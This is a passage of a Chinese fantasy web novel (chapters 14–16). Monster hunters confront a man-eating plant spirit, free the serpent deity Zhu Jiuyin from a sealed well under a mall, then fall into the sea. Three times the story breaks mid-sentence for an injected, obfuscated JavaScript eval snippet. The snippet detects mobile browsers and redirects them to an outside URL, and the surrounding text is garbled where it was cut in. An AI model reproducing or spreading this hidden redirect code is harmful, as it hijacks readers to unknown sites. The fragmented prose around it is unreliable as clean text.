“这位大人怎么可以如此不分青红皂白,见面就劈妖呢?”女人故作惊讶地躲去了徐有年身后。 “他倒就是这样的性格,”闻灵淡然应下,全然不顾半空中唐不功瞪过来的眼神,“长话短说,说不完就杀了你。” “大人要了我的名字去,可不是要坑我吧。如果不是的话,我就说了。” 唐不功看着女人笑个不停的样子,手上的刀挥起一点来又落下,他几次去看闻灵,闻灵都不看他。他只好生生忍住一刀劈过去的念头。 不是应该趁这个时候杀她一个措手不及的吗?怎么你真要听啊? 唐不功仔细观察着闻灵的神色。 “大人问我名字,但我不是人,要名字做什么。人千千万万,不过百年便就生了死,死了生,所以才要名字来区分。”女人在怀里把玩着徐有年,“我呢?我不是男人,也不是女人。如今这副皮囊,也不过是听多了故事,幻化出来,惹人喜欢的而已。” “他喜欢我什么样子,我便是什么样子。” 女人转了个身,便又变成了一个男人的样子,还是那眉眼,只是五官硬朗了些,身材也高大了许多,声音也变成了男人的声音。 他抚上了徐有年的脸,捧着落下一吻。而徐有年还是那副着迷的样子,看着男人的脸一动也不动。 “看来我什么样子他都喜欢呐,我真是太高兴了。”男人一把扯起徐有年的衣服,指甲干脆利落地在徐有年肚皮上划出一条红线。 徐有年被开膛破肚,唐不功毫不犹豫地带着剑阵,一刀砍向男人的手。 “唐不功!别动!” 唐不功闻言,连忙侧身卸去几分力道,才错身将本来必中无疑的一刀收了回来。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17405216|200468||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他退回闻灵身边,和他一起,屏息凝视着眼前的景象。 此刻楼内鸦雀无声,连尖叫都没能从谁的喉咙里挤出来。 徐有年的五脏六腑已经不知道去了哪,又或者说是看不见了。一滴血都没有从那个切口中流出来,被浪费。 所有人现在能从徐有年胸前那个鲜红整齐的切口中看到的,便只有一簇又一簇嫩绿的细长叶子,在他体内生机勃勃地活动着,随着他的呼吸一起一伏,绿叶间还开着几朵嫩黄色的花朵,轻颤着,甚至还有几颗泛着青色的果子已经结了出来。 男人温柔地抚摸上去,像抚摸自己新生孩子的脸庞。 徐有年敞开的胸怀发出阵阵异香,此刻不管是觉得眼前这画面惊世骇俗的,还是觉得胃里犯恶心,想要一口呕出来的,都不可避免地客观上觉得,这果子不仅闻起来香,而且还让自己的心里产生了一个念头。 那就是自己只要吃了这果子,只要吃上一颗就好,那么自己便永远都不会饿了。 徐有明厌恶地咽了一口口水,看向弟弟:“见鬼的事可真是天天都有啊。” “大人如果真的想叫我个名字的话,那就叫我祝余吧,这是人书里写的名字。反正这千年里,也就只有我一株祝余成了精。” 祝余的手已经和徐有年腹内纠缠在了一起,要是刚刚唐不功直接一刀劈了下去,怕是要一尸两命了。 闻灵:“祝余,那你活了千年,为什么要缠着这一个人不放呢?把种子都塞到了他身体里,有这功夫多塞几个人不是很好吗?” “你在讲什么?”唐不功一脸震惊地看向闻灵。 听到闻灵这个问题,祝余认真思考了片刻,便灿烂一笑,答道:“因为我爱他呀。” “爱?”唐不功的语气,像是听到了世界上最荒谬的事情。 祝余总是笑眯眯的一双眼,此刻看看闻灵,又看看唐不功。 闻灵:“笑而不语干什么,有话直说。” 祝余看了一眼唐不功,便对着闻灵说道:“我笑,是因为千百年后与大人在一起重逢,真是让人感慨缘分啊。缘分这种东西可真难说。细究起来,还是大人您当年讲了一个故事,才让我们相遇的啊。” “是吗?”许多的往事在闻灵脑海中都已成混沌。 “是啊,那天我不过是路过,便碰见了大人在那里看书。大人随口同我讲了一个书生与妖精的故事,大人讲得可真好,大人还说这是人间最常写的爱情故事,大人都快看腻了。但我那时候听完就想,既然故事有这么多,那有没有一个是讲我这个妖精的呢?” 祝余回忆着:“我便离开了妖界,去往了人间。一到人间便碰上了他。那时候他进京赶考被人打劫,什么都没了,就剩下一条命在那,快饿死了,我便把我的果子给了他吃。” “我救了他一命,他便要对我以身相许了。”幸福的红晕在祝余的脸上转瞬即逝,“可惜,好景不长,我们成了婚之后不久,他便病死了。” 祝余无比怜惜地搂着徐有年,继续说道:“但好在,我们相约了来生,相约了生生世世。” “所以,你就生生世世都要把人家吃掉?”唐不功嗤笑一声。 “对啊,”祝余不以为意,“这是他死前答应我的,因为这样我们就可以永远在一起了。如果不是爱他,那我为什么要在我们的灵魂上都刻下誓言,我又为什么会生生世世都来寻他,吃掉他呢?” “我喜欢他,所以才会吃掉他,让他永远待在我的身体里,我爱他,所以才会生生世世都来吃掉他。”祝余看着徐有年,无比郑重地说道。 14. 商场七天乐(四) “一派胡言……”唐不功提起见雪便是一刀砍去,旁边的徐有明也朝着祝余开了一枪。 祝余这回不闪不躲,直直握住了见雪。 见雪平日里看着和普通的刀无异,可一旦碰上了妖血,便会咒文金光流转。 祝余的半边手臂已经变得焦黑,但他仍是死死握住了唐不功的刀不放,直至唐不功反手砍下了他的手臂。 祝余没了只手,也仍旧是笑着看向唐不功,只是那目光里,细细分辨一下的话,似乎还掺杂着几分同病相怜的意味。 唐不功敏感地察觉到了那一点说不清道不明的意味,心里更是恼火。 “你怎么会觉得这是一派胡言呢?”祝余似是真的疑惑,“明明你也……” 祝余说到这便不说了,唐不功听得更加难过。 什么你也?你也什么了? 唐不功此刻唯一能联想到的就是自己眼前这狗屎一般,不如没有的人妖恋,想得他想作呕。 闻灵的声音不咸不淡地在他耳边响起:“‘他’和你相约生生世世都让你把自己吃掉,但那个‘他’是你眼前的这个‘他’吗?” “怎么不是呢?”祝余把徐有年搂得更紧了一些。 闻灵:“可是他在怕你啊。” 徐有年敞开了肚皮,脸上挂着红晕,此刻在祝余怀里,身子一抖一抖的。 祝余扶起他的脸,直视着那双眼睛。 他看了许久,久到闻灵悄悄靠近了他的身后,他都没有发觉。 他只知道徐有年此刻茫然痛苦的眼睛里面,只有他这副皮囊的倒影,没有爱。 为什么呢? 明明是不管它怎样,都是会喜欢它的人呐?怎么这回就变成这样了呢? “祝余,人生不过百年,而我又是个短命的,你怕是见不到我白头发的样子啦。”男人当时躺在病床上,已是油尽灯枯的模样。面颊凹陷,手腕瘦得能摸到骨头。 祝余不高兴地扑到了男人身上:“我不要,你不准死。” “哎呦……哎呦……”男人小心地把祝余的头挪到了自己胸前肉厚些的地方,“我也不想死啊,祝余你不是妖精吗?帮我想想办法吧。” 祝余不讲话了,人的法子,妖的法子,都试遍了,但可能就是人要归西了,就不能让人往东走了吧。 男人许久都没有说话,胸口的起伏也很小,久到祝余以为他已经死了。 但他没有,他还留着一口气。 他对祝余说:“祝余啊,你把我吃了吧。” “什么?”祝余有点不敢相信自己耳朵里听到的话。在人间近十年的光阴里,她从未听过哪个故事是这个结局。 “祝余,你不是给我看过原形吗?你不是个草吗?那你就是植物啊,植物都是要花肥的。”男人不紧不慢地说出自己不觉得可怖的话来,“植物要有花肥才能长得好。你不是见过我母亲种月季吗?家里不要的零碎肉块,她不都是埋到那底下去的吗?” “是……是啊,那又怎么了呢?”祝余慌张地应下,她搞不明白种花和男人要自己吃了他究竟有什么关系。 “那月季开得就更好了。祝余你又是妖,又是植物的,应该也是会吃人的吧。虽然我从来没见过,咳……咳咳……”男人的嘴角涌出血来。 祝余给男人擦去那一汪鲜血,又扶起男人来喂了一口汤药:“我从来没吃过人,我……我也绝对不会吃你的。你不会死的,你绝对要给我活着。” 男人笑着点点头,说:“那我努力。” 可下一句话又说:“反正我横竖都是要死的,与其躺在那棺材板里,不如给你当花肥吧。” “我不要!”祝余极不高兴地喊了起来。 “祝余,你喜欢我吗?”男人忽然问。 祝余想也不想,便说:“当然了!” “我觉得你不喜欢我,祝余。” 男人看向祝余的眼睛还是清亮的,祝余却感到了一阵茫然。 “但我喜欢你,祝余,”男人又说,“我知道你只是个害怕孤独的妖,所以,把我吃掉吧。这样我们或许就可以永远在一起了……” 男人憋着这最后一口气,说完就死了。 只剩下祝余,听着这不明不白的一番话。 它很生气,很生气男人为什么说自己不爱他,自己明明很爱他。 但是男人已经死了,男人不会再和它说任何一句话了。 祝余不死心,追去了冥界。可男人的魂灵早已丝丝缕缕消散在冥界,要重新聚拢成新的魂灵去到人间。 男人现在在人间的尸体已经开始腐烂发臭。 祝余最后还是把他吃掉了,流着眼泪的。 “……我……绝对不允许,你就这样离开我,我还什么都不懂……” 千年遗恨,祝余诅咒了男人,诅咒他的灵魂代代轮回,而它生生世世都要把男人的转世吃掉。 男人这样做,是爱它的吧?可男人为什么要这么做呢? 祝余对着眼前这张触手可及的脸,回想着千年前的那张脸。 分明是一样的面容,男人的样子却模糊了起来,怎么样都想不起来了。 祝余在心里惊叹一声,原来自己真的不爱他。 那自己又为什么要生生世世都吃掉他呢? 为什么呢? 祝余觉得自己的心此刻都痛苦地扭曲了起来。 可也不用等它想明白了。 闻灵已经一掌剖开它的妖丹,取了出来。 妖丹是妖的所有灵力所在,没了这个自己大概也离死不远了吧。 临死前,祝余看着徐有年还大敞开的胸膛,便挥了挥手,把人的肚子给合上了。 “你……不用担心,等我死了,你肚子里的东西就会自行消失的……” 祝余口里涌出来大片鲜血,它正在一点一点地退回原形,而它的叶片也遵循本能一般,寻找着土壤,寻找着养料。 唐不功一刀斩断那张牙舞爪的细长绿叶,把徐有年护在了身后。 “真想不明白,到底是我诅咒了他,还是他诅咒了我。”祝余喃喃说道。 闻灵:“大概只能说你出山就碰到了个极品神经病吧。” “是吗?那我可真是倒霉。不仅错听了故事里的情爱,连真真切切感受的情爱也是这样……荒唐可笑。”祝余的眼神已经开始涣散,在这近乎于回光返照的时刻,它又似在追忆着什么,“可是啊,他或许也是真正的爱我吧……” 可惜自己短短十年,还没有懂得人间的情情爱爱,只是一个遵循本能的妖精,所以啊……费了老大劲,施展的法术,最后竟然就只是生生世世追着人家吃…… 多谈会情,说会爱呢,说不定现在的滋味就不同了。 知识决定命运啊,文盲一出门就碰见了高学历的神经,人神经还是真心的,这可真要妖精怎么办呐。 祝余哀叹一声,看向徐有年。 “怎么办?还是好想吃掉你……” 正准备着带人冲进黑洞的唐不功,听到这话,又是一怒。 “怎么又想吃了?刚刚不是什么情情爱爱扯了一大堆,扯得我脑袋都痛了,怎么现在又扯回来了?你不如干脆说你现在肚子饿了,想吃东西。”唐不功从包里掏出来一个面包丢给祝余,“我这也没别的,吃吧,别嚷嚷 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17405217|200468||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了。” 祝余把面包一点一点塞进嘴里,看着唐不功,笑着说:“看道长的样子,原来是智者不入爱河呀,哈哈,那可真是想不到。” 唐不功不耐烦:“有话直说。” “妖都要死了,不给人留点悬念怎么行呢?”祝余笑笑。 唐不功:“……” 闻灵把地上的背包捡起来:“好了,别绕来绕去了,快点拿好东西,我们几个人先冲进去看看。” 听到闻灵这话,陈琳几乎喜极而泣:“太好了,我终于可以回家了。” “你?回家吗?”谁知地上看起来已经断气的祝余忽然开口说道。 陈琳颤颤巍巍地说:“是啊,怎……怎么了吗?” 祝余笑着说:“你怎么回家啊?你不是已经死了吗?你是留在这里的人啊。” “不……不可能……”陈琳连忙抓住了自己身边的张三,“妹妹,你是和我一起来的,怎么可能我们两个人都是这里的鬼呢?” 陈琳的表情急切,张三沉默了半响,还是说道:“你其实已经待在这里很久了,每过七天,所有人便都会失忆一次,除了我以外,我也不知道这是为什么,但是为了自保,我也只好每次都和大家说我是这周新来的……” “不可能!不可能!”陈琳的表情忽然间变得有些癫狂,像是被人一语点破了什么禁忌。 “你自己看看不就知道啦。”祝余语气轻快地折下自己的一片叶子,朝陈琳脸上飞去。 闻灵施法拦下:“住手!祝余!” 可惜禁忌已经被打破,这里徘徊的鬼魂不应知晓的事情,已经被知晓。 陈琳的脸逐渐变得僵硬,生动的表情凝滞了,活人的气息在她的身上转瞬即逝,到最后竟然变成了商场假人模特的脸。 塑料制成的身躯,逐渐碎成了一片片,露出里头真正的身体来。 一个破败的,身上不知道穿着哪朝哪代服饰的尸体走了出来。 “怎……么会是这样……我要回家……”湿润的泥沙从陈琳的身上掉落下来,一步一个脚印,陈琳的话语逐渐变成细碎的不成语调的嘶吼。 商场内的怨灵之气陡然间暴涨,陈琳空洞的,闪着幽幽绿光的眼此刻死死盯住了在场的每一个人,看着众人沉默不语的样子,她便明白了。 牙齿上下咔哒咔哒地摩擦了起来。 “原来……你们早就知道了……” 她抬起手来,便要朝最近的徐有成抓去。 “小心!”徐有明来不及掏枪,直接挡在了徐有成面前。 干枯的手骨直接刺透了他的腹部,可他眼睛都来不及眨一下,便对准陈琳的脑袋,一枪将人头盖骨近距离轰了个粉碎。 徐有明的腹部渗出血来,但很快布料上的血便不可自控地往回走,回到了徐有明的身体里去。 这整个的过程可能不到一分钟,徐有明心虚地看了眼自己身后想要上去扶住自己,却又忽然顿住手的兄弟二人。 “哥哥,”弟弟徐有年问,“你也是妖精吗?” 哥哥徐有成说:“走吧,快点一起回家去吧。” 徐有明愣住了片刻,徐有成便又说:“你是我亲手捡回来的,全家除了他都知道。” “什么?!”被指着的徐有年惊讶。 “你有什么好惊讶的,今天都见过这么多妖魔鬼怪了,赶紧回家去。咱家里这些东西是最少的。”徐有成语气随便得像是刚买完菜,要回家。 “好……好”徐有明呆呆地应了一声。 闻灵打断这空气间霎时间弥漫起来的兄弟情。 “各位,我们可能得赶紧走了。” 15. 商场七天乐(五) 楼底下传来一阵阵巨响,凌乱的脚步声随之响起。 躲在最底层屋子里的人,现在都出来了,只不过大家都变了个样子。 原本凑在一堆,穿着各式各样的衣服,叽叽喳喳说着各种话的人,现在都变成了一堆白骨支撑的烂肉,拖着一地的泥沙,近乎于癫狂地嘶吼着,寻觅着生灵的气息,想要将之吞吃入腹。 原本平息到让人以为消失了的走尸,又重新出现,并且来势汹汹。和现在的走尸比起来,之前的那些简直可以称得上是一句“温柔”了。 黑色的尸潮瞬间涌满了整个商场,闻灵再次化作原形,和唐不功一起冲杀出一条血路来。 从黑洞里,还有不知商场的哪个角落里,都在源源不断地涌出走尸。让人不禁惊讶这地方从古至今究竟是死过多少人了。 闻灵勉强把几人都护在身后,可几乎没有间隙的尸潮还是让他感到力不从心,止不住地张开嘴来喘气。 闻灵的原形身体庞大,动作起来,消耗的体力,灵力都不是一点点,更别说他已经许久未化作原形过。 唐不功挥动见雪,雪亮的刀光下,走尸们瞬间便都化作泥沙,在金光间,被唐不功送往冥界往生。 舞动的刀光,狂乱的剑阵中,唐不功余光瞥见了闻灵的样子。 他朝身后大喊一声:“你们快点先进去杀出一条路来,我等会便一起过去。” “可是……你一个人应付得来吗?”闻灵担忧地看了一眼正在漆黑尸潮中,拼杀的青绿色身影,又一个摆尾,甩去了身边的一片走尸。 “可是什么可是?我们是要演什么不离不弃的戏码吗?赶紧过去,别在这里碍手碍脚的。”唐不功调动灵力,努力在被走尸攻击的间隙,寻找机会打开剑阵。 见唐不功是要准备开大的了,闻灵犹豫了片刻,还是背起几人,一头钻进了黑洞里。 黑洞里的世界近乎于无边无际,望不到尽头,只能看见天与地之间立着的那口枯井。 是闻灵他们最开始在商场最底层看见的那口井,只不过这里的井,没有那么多的灰尘,也没有那么多的青苔,整洁如新。 一人手臂粗的铁链缠绕住了这口井,封住了井口。 闻灵一边跑着,一边仔细嗅着空气中的味道。 潮湿的土腥味,混杂着许多的死灵气息,除此之外,似乎还有些什么……是闻灵以前闻过的味道,但此刻却怎么也想不起来了。 明明是通晓万物的白泽一族,可自己如今倒是什么都不知道,知道的都也忘了。 闻灵苦笑一声,越靠近那井口,他便觉得自己的脑袋越痛,原本只是像人用针细细扎的痛,此刻便像是有人用大棒槌在砸他脑袋。 “你没事吧?”或许是感觉到了他的身体,越跑越歪斜,徐有明在他耳边问道。 闻灵努力控制着自己的身体,不让自己背上的人掉下去,回道:“没事,大家坐稳了,抓紧我的毛,我要冲过去了。” 话音一落,闻灵便高高跃起,轻飘飘地从尸山血海之中穿过。 徐家三兄弟,还有张三,此刻伏在闻灵背上,都感觉自己一会在坐过山车,一会在跳伞。 几人紧闭着眼,把身体埋在闻灵的毛发里,以此来减轻闻灵蹦跳带起来的风的冲击。 在连续的不知道多少个跃跳之后,闻灵终于来到井边,他看准时机,露出利爪,直直地挥向铁链。 哐当一声,铁链应声而落。 井口打开,霎时间,天地的一切昏黑都被吸入井中。 刚刚还满地孤魂野鬼,遍地哀嚎,此刻便干净得只剩下这澄明的天与地。 湿润的泥地开始渗出水来,一点一滴,不久便汇成了滔滔江河。 闻灵施法让自己立于水面上行走,而后便把几人从自己背上放了下来。 徐有年一落地,便眼冒金星,“哇”地一声呕了出来,他从口袋里掏出纸巾来想要擦擦嘴,可没想到却掏出来一个绣着桂花的帕子。 帕子柔软,上面绣着的桂花金黄,虽然针脚凌乱得只有一面算得上能看,桂花的造型更算不上是什么别致好看,但也是让人……妖细细绣了很久的。 和帕子一起连带着被拿出来的,还有一颗青绿色的果子,已经生出了小芽来。 徐有年愣了愣,便拿帕子裹着果子,赶快塞回口袋里,而后便用袖子胡乱擦了擦嘴。 “真是不好意思啊。”徐有年看着清澈的水被自己弄脏了,很是不好意思。 但水很快便重新清澈了起来,徐有年的头顶上还响起了一声:“无妨。” “是谁?” 底下的几人都被吓了一跳,除了闻灵外,都忙往头顶上张望去。 “我在这呢。”声音从井口传来,众人循声望去。 井里传来一些细碎的响动,似乎有什么东西要钻出来,众人屏息凝视。 忽然间,一个硕大古怪的人脸,便从井口冒了出来。 “大家好哇!”人脸热情地打着招呼。 众人却是两眼一黑的两眼一黑,呼吸骤停的呼吸骤停。 原因无它,这张脸实在太过诡异,正常人脸上的眼睛都是横着长的,他的眼睛却是竖着长的,火红的瞳仁横在里面,一张嘴露出满嘴的尖牙,笑得欢喜。 这样一张脸从井里贸然间爬出来,效果不亚于恐怖片的突脸画面。 闻灵刚化作人形,一抬头便看到了这个,没忍住惊出一身鸡皮疙瘩,仓惶间往后退两步,便撞到了刚刚赶来的唐不功。 “我艹!你怎么忽然出现在我背后?”闻灵吓了一跳,往旁边弹开。 唐不功一挑眉:“我已经在你后面很久了,你就是这么和我打招呼的?” “哈哈哈……没有。” 唐不功看看面前烛九阴的样子,又看看旁边闻灵的样子,便知道闻灵是被吓到了。 他心里有些无语,也有些好笑:“怎么怕成这个样子?大家都是妖,怎么平时没串过门吗?” 话是这么说,但他还是往前一步挡在了闻灵面前。 烛九阴竖着长的一双眼睛朝众人一眨一眨,这天地间的昼夜便也瞬息间一闪一闪,他看着众人的样子,思索片刻,才猛然间恍然大悟,赶忙赔礼道歉。 “对不住啊各位,我这太久没见人了,想必吓到各位了吧,罪过罪过。” 烛九阴说着便从井里拖出了自己长长的身子,火红的鳞片布满他的全身,蛇一样笔直柔软的身体盘桓在一起。 他将自己的身体变小了许多,也幻化出了人形来,只不过脸上还是一双竖着的眼睛。 他的眼睛一眨不眨地看着眼前的几人,拱手作揖道:“真是多谢几位出手相助,不然我真是不知道要被关到猴年马月去啦。” 闻灵问:“你怎么会被关起来?还有,你这里怎么会有这么多死尸亡灵,他们不应该在你的照拂下超度去了冥界吗?” “是啊。”烛九阴说着话,便往闻灵这边凑过来,闻灵连忙往唐不功身后又躲了躲。 可烛九阴不知道为什么,非得要追着闻灵说话,不当着他的面说不行。 唐不功就像一个柱子一样,被两只妖绕来绕去。 烛九阴边绕还要边说话。 他说:“我就记得前几日我家门口不知道是谁送了一坛子酒来,那闻着可香啦,我就喝了一口。我发誓,那真就只有一口。可谁想得到呢,我喝完就没了意识,等我的意识回来了,那便是现在了。不用多说,肯定是有歹人给我下毒了!” 烛九阴越说越激动,唾沫星子差点飞到唐不功脸上。 唐不功忍无可忍,一把拽住了在自己身边转着圈飞来飞去的两只妖精。 一个拎着放在了自己身前,一个拎着放在了自己身后。 “就这样说,”唐不功看着眼前那张怪脸,深呼一口气,“门口有酒你就喝,然后你中毒了,那再然后呢?” 烛九阴恶狠狠地说道:“知道我爱喝酒,所以才敢在家门口放美酒。千万不要让我抓到这个歹人,不然我肯定将它生吞入腹了。” “……”唐不功感觉自己得了,听到什么生吞,什么吃掉便要胃疼的病。 闻灵在唐不功背后问:“那事情就这样了吗?” “对啊,”烛九阴大大咧咧地答道,而后又忽然想起来,“你们还在我这呢,那我把你们送出去吧。” 徐有明开口问 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17405218|200468||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 道:“等等,这位……大人,请问事情真就这样了结了吗?” 烛九阴还是回道:“对啊,不然呢?” “那些死尸亡灵就这样离开商场了吗?”徐有明问。 烛九阴摇摇头,又点点头:“他们本来也就不是在商场里的,而是在我这里,通过这口井去冥界。只不过我晕倒了,被封在了这井里,这里便没人管了。生与死的界限模糊了,亡灵便要乱跑出来了,不管是哪朝哪代的都要跑出来凑热闹。” “那我呢?”张三指了指自己,“商场里的那些人都记不清自己到底是什么时候进来的,更记不清自己是因为什么进来的。但我记得很清,我是走在路上被车撞了,一醒来就到这了。” 烛九阴凑到张三身边,仔细端详着:“是吗?” 他眯着眼睛看了片刻,张三感觉自己头皮都在发麻,像是自己没有了头发。 “你应该是我被下毒之后,出了事故,所以被这口井吸过来了。”烛九阴说道。 张三心脏漏了一拍:“那我这是死了吗?” “没有啊,你现在应该正在哪家医院躺着吧,快点回去那边,找你身体去吧。”烛九阴拍了拍张三的肩膀,安慰道。 “那……”闻灵开口想问些什么,因为他觉得祝余和徐家的事情好像搅和在一起,又好像各自完全不相干,而且事情真就这么轻易地解决了吗? 这么大费周章地给烛九阴下毒,又把他关起来,结果锁链那么轻易的就被他扯断了。 会不会太容易了些? 闻灵努力思考着,可他现在太阳穴一突一突地,实在是头痛,痛得他脑袋里都乱成了一堆浆糊。 “你怎么了?还好吗?”唐不功看见闻灵有些苍白的神色,“要不我们还是先走吧。” 闻灵还未回答,烛九阴听到了这句话,便赶忙招呼着要送大家走。 “大家,从那跳下去就可以回去了。”烛九阴指了指那口井。 唐不功:“那不是去冥界的路吗?” “那是我家大门,妖界,人界,冥界,想去哪都行。只不过一般都是通向冥界,不过我现在改了,你现在跳下去那就是去人界的。” 唐不功犹豫片刻,问:“一定要跳的吗?” “对,没别的路了,”烛九阴理了理自己宽大的袖袍,“要是不放心的话,那我就先跳一个给大家看了。” 烛九阴说完,便纵身一跃,跳到了井里去,旁人和他多说一句话的机会都没有。 唐不功:“……那大家跳吧。” 反正横竖也没别的法子了,跳过去是人是鬼,先跳了再说了。 唐不功拉着闻灵,又抱起地上正昏迷的大黄,跳了进去,剩下几人也紧跟着跳了进去。 所幸,一跳还真跳回人界去了。 几人从布满了灰尘的井口爬出,烛九阴趴在井口与众人道别。 “诸位再见啦,有缘自会相见。” 烛九阴说完,摆摆手,整口井便消失在了众人视线内。 张三已经不见了踪影,应该是已经回到自己身体里去了。 “终于可以回家了,不知道现在几点了,”徐有年掏出手机来看了眼时间,还是上午九点钟,“竟然还这么早。” 唐不功:“界内界外时间不一样,很正常。” “两位大人先去我家坐坐吧。”徐有明说。 闻灵:“不了,我们还有急事,等会可能就要走了。”毕竟现在当务之急是把唐不功的灵魂给换回来啊。 闻灵看了眼脑门上还贴着张大黄符纸的唐不功。 “那就之后再联系了,二位大人。我们也先回去,擦点药了。” “嗯,你等等,”闻灵思索片刻,递给了徐有明一张金印白底的名片,“如果你对妖精想接触更多的话,可以去这里。” 徐有明接过名片,看了一眼公司名“山海公司”,便笑着说道:“好,我一定去,多谢闻大人。” “不用……” 一个谢字还没说出口,闻灵便感觉自己脚下一踩空。 “闻灵!” 两道声音同时响起,唐不功一把抓住了闻灵,和闻灵一起跌入黑暗之中。 16. 冥界一日游 下坠,不断地下坠。 唐不功感觉自己变成了一只鸟,衣袖都被风吹得死死地贴在了他身上。只不过他这只鸟,格外地笨重,更别说他手里还拽着一只妖,还附带一只狗。 一往下坠落,闻灵便昏死了过去,任凭唐不功怎么喊他的名字都没有反应。 唐不功在空中努力寻找着支点,把闻灵和大黄尽量往自己怀里搂着。 他们穿过一片漆黑,又穿过层层云雾,唐不功艰难地在下坠的疾风中睁开眼。 映入他眼帘的是一片蓝,一片雾蒙蒙的蓝,并且这片蓝在他眯成一条缝的眼睛里越来越大。 唐不功调整姿势,单手搂紧了闻灵,两个人的上半身都死死地贴在了一起,只留着一些给大黄喘息的间隙。 他的另一只手则握紧了见雪。 见雪的刀尖破开风来,唐不功深吸一口气,灵力运转,他扭转着身体,挥舞着见雪,一刀劈到了海面上。 海面霎时间扬起千层波浪,唐不功借力带着闻灵落入大海中,避免直直落在海上,把一人一妖一狗都拍个粉碎。 虽然早有准备,但腥咸的海水还是在唐不功落入海中的时候,不可避免地钻进了他的口鼻之中。 唐不功只感觉自己的鼻腔一阵刺痛,像是海水想要顺着他的鼻腔钻到他的脑袋里去,可他来不及关心自己到底哪里进了水。 波涛汹涌间,闻灵还是闭着一双眼,任凭海水湿透了他的眉眼,头发,湿漉漉地贴在他苍白得没有一点血色的脸上。 宁静得像一具艳尸。 而大黄则终于被这海水唤醒了神智,在海水里扑腾着两条小短腿,朝唐不功他们游过来。 唐不功把见雪递给大黄,大黄默契地用狗嘴帮他叼住了见雪的刀把。 一人一狗开始奋力向岸边游去。 唐不功仰面游着,一只手不停地朝岸边划着,另一只手则拖着沉甸甸的闻灵。 划了不知道多久,久到唐不功觉得自己的身体都被海水刺骨的冰冷浸透得麻木了,他们才终于踩到了地上。 大黄把身上的水都甩了甩,并且通人性地走到了离人稍远些的地方,以免把水甩到人身上。 不过唐不功和闻灵身上现在倒也不差这点水了。 青绿色的道袍此刻吸满了水,变成了墨绿色的道袍,沉沉地坠在唐不功身上,更不要说衣袖边沾上的各种泥巴,更是给唐不功的衣服添上了几分泥泞的分量。 唐不功拖着不省人事的闻灵,一路把妖拖到了岸边的一块石头旁。 闻灵的身体无力地倚靠着石头。 唐不功把现在被水弄湿,贴在他脸上的符纸掀起一点来,露出眼睛。 他先是摸了摸闻灵的胸口,看看妖还有没有气,然后又是仔细端详了闻灵一番。 他的本意是想看看闻灵到底出了什么毛病,但没想到差点给自己看出毛病来。 他唾弃了自己一声,又在心里暗骂闻灵一句。 真是个妖孽! 唐不功尽量不去看闻灵,可闻灵此刻的身体冰凉,要不是胸口还有些起伏,那看上去真的和死了差不多了。 唐不功的手冷得已经有些麻木,可刚刚那冰凉怪异的触感却是在指尖真真切切,让人心惊。 他有些茫然地四处张望着寻找出路。 他们现在在的这个地方,不知什么时候起,竟升起了茫茫雾气。身前身后,没有一处看得真切了。 唐不功思索片刻,便从手中化出一小团火来。小火苗飞离他的手心,绕在闻灵身边,小心翼翼地烘着闻灵身上湿漉漉的衣裳,还有头发。 闻灵素来闹哄哄的一张嘴此刻闭上了,平日里生动得恨不得起飞的眉眼,此刻也都平平地落在了脸上。 火光映在闻灵身上,给他镀上了一层暖暖的淡黄色,显得很宁静。 唐不功看了片刻,这片刻他或许都来不及记住闻灵此刻的样子,可他就是记住了。 眼睛移得再怎样开,那模样也都会出现在脑海里。 唐不功默不作声地把闻灵背在了背上。 他想,这是怎么回事呢?他们才认识多久?他们之间发生了什么惊天动地的大事吗? 没有啊。 那自己又是怎么回事?唐不功不禁质问起自己的道心来。 什么都没有发生,相识不过几天,甚至还是个妖精。 自己刚刚到底在恍惚什么? ……呵呵,自己原来是这种鬼迷心窍,会对妖精的容貌着迷的人…… 什么好妖,坏妖,竟然都比不过闻灵一张脸! 一张脸! 旁边的大黄小声地叫了一声,然后又默默走得离唐不功远了一些,似乎是被人隐藏在符纸阴影下,变幻莫测的神情给吓到了。 唐不功自觉心里失态,忙在狗面前收拾出一副端庄人样来。 背上闻灵的身体往下滑了一些,唐不功停下步子来,调整了一下姿势,好让妖安安稳稳地靠在自己背上。 唐不功在沙滩上留下深深的脚印,脚上的鞋子,已经被海水浸透了,又风干了,此刻正沾满了泥沙。 说实在的,现在这鞋里全是泥沙,还不如干脆赤脚走路,和这沙滩来个亲密接触走得舒服。 可要是真这样走了,万一不小心踩到什么了,自己背上这个可就真的没人管了。 唐不功沿着沙滩的边缘不知道走了多久,眼前的景象似乎也从来没有过变化。 回头看过去,自己的一长串脚印也大多没入了雾气中,只能看见离自己最近的那一些。 看不清来路,望不见去处。 唐不功觉得自己可能真的要背着闻灵,走死在这里了吧。 